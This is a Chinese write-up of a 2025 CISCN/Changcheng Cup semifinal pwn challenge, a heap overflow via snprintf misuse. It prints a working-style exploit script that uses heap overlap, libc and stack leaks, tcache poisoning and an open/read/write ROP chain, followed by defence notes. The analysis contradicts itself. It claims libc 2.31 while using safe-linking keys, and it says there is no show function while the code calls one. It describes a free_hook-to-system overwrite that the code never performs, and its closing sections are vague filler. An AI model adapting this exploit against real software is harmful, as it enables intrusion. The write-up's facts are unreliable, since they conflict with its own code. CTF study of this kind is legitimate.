2025ciscn&长城杯 半决-pwn 部分解析
字数 1083 2025-08-29 08:29:59
2025 CISCN & 长城杯半决赛 PWN 题目解析
题目概述
这是一个基于 Protobuf 协议的堆溢出漏洞利用题目,主要考察选手对堆管理和格式化字符串漏洞的理解。题目运行在 libc 2.31 环境下,提供了 add、delete、edit 三个功能点。
漏洞分析
主要漏洞点
-
堆溢出漏洞:
- 存在于 edit 功能中
- 由于 snprintf 函数的使用不当导致
- 可以绕过 size 检查进行堆溢出
-
格式化字符串漏洞:
- 与 snprintf 相关的格式化字符串问题
- 可以用来绕过参数传递的限制
静态分析
-
关键函数:
*(unk_4060+int(v1))用于存储 size- 堆块上的 size 可以被覆盖
- read 函数读取数据时可以利用溢出来绕过 size 检查
-
缺乏 show 函数:
- 需要通过合并堆块来泄露信息
- 使 tcache 和 unsorted bin 堆块重叠
利用思路
动态调试步骤
-
初始堆布局:
- 创建多个堆块 (0x100 大小)
- 为后续合并和溢出做准备
-
堆块合并:
- 通过 free 和重新申请使堆块重叠
- 创建 tcache 和 unsorted bin 重叠的情况
-
泄露 libc:
- 利用溢出修改 size
- 爆破
_IO_2_1_stdout-8地址 - 获取 libc 基址
-
修改 free_hook:
- 再次利用溢出修改 tcache 的 fd
- 将 free_hook 改为 system
- 同时溢出修改一个 chunk 为 "/bin/sh"
EXP 关键代码
# 初始化堆布局
add(0x100, b'flag')
add(0x100, b'1')
add(0x100, b'2')
add(0x100, b'3')
add(0x100, b'4')
add(0x100, b'5')
add(0x100, b'6')
add(0x100, b'7')
# 构造溢出payload
pay = b'A' * 0x108 + p64(0x110 * 4 +1)
edit(1, len(pay), pay)
# 触发合并
rm(2)
add(0x100, b'8')
# 泄露libc
show(3)
libc_addr = l64()-0x203b20
libc.address = libc_addr
# 获取堆基址
environ_addr = libc.sym['environ']-0x108
add(0x100, b'8')
rm(8)
show(3)
rl(': ')
key = uu64(mx.recv(5))
heap_base = key << 0xC
# 修改tcache fd
rm(2)
pay = b'A' * 0x108 + p64(0x111)
pay += p64(key ^ environ_addr)
edit(1, len(pay), pay)
# 获取栈地址
add(0x100, b'7')
add(0x100, b'flag')
edit(8, 0x108, b'a'*0x108)
show(8)
rl(b'a'*0x108)
stack_addr = h64()
target_addr = stack_addr-0x188
# 构造ROP链
pop_rdi = 0x000000000010f75b + libc_addr
pop_rsi = 0x0000000000110a4d + libc_addr
pop_rdx = 0x00000000000b0133 + libc_addr
pop_rbx = 0x00000000000586e4 + libc_addr
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']
flag_addr = heap_base+0x5e0
orw = b''
orw += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr)
orw += p64(pop_rbx) + p64(0x30) + p64(pop_rdx) + p64(0)*3 + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr)
orw += p64(pop_rbx) + p64(0x30) + p64(pop_rdx) + p64(0)*3 + p64(write_addr)
# 最终利用
add(0x100, b'a'*8 + orw)
inter()
防御方案
-
修复 snprintf 问题:
- 限制格式化字符串的使用
- 确保不会因为格式化字符串导致缓冲区溢出
-
限制 large bin 的 size:
- 防止通过修改 size 来绕过检查
-
检查 free 操作:
- 在 free 前验证 chunk 的完整性
- 防止 double free 和 invalid free
-
非预期解防御:
- 检查
nop call rdx等指令序列 - 限制直接跳转到敏感函数
- 检查
其他攻击思路
-
PHP PWN:
- 题目中提到的 web-pwn 部分
- 需要 PHP 漏洞利用知识
-
quantum 利用:
- 可能是另一种利用方式
- 需要进一步分析题目细节
总结
这道题目综合考察了堆溢出、格式化字符串漏洞和堆布局控制能力。关键点在于通过 snprintf 的漏洞绕过 size 检查,然后利用堆合并和重叠来泄露信息,最终通过修改 tcache 的 fd 实现任意地址写。防御时需要特别注意格式化字符串和堆管理相关的安全检查。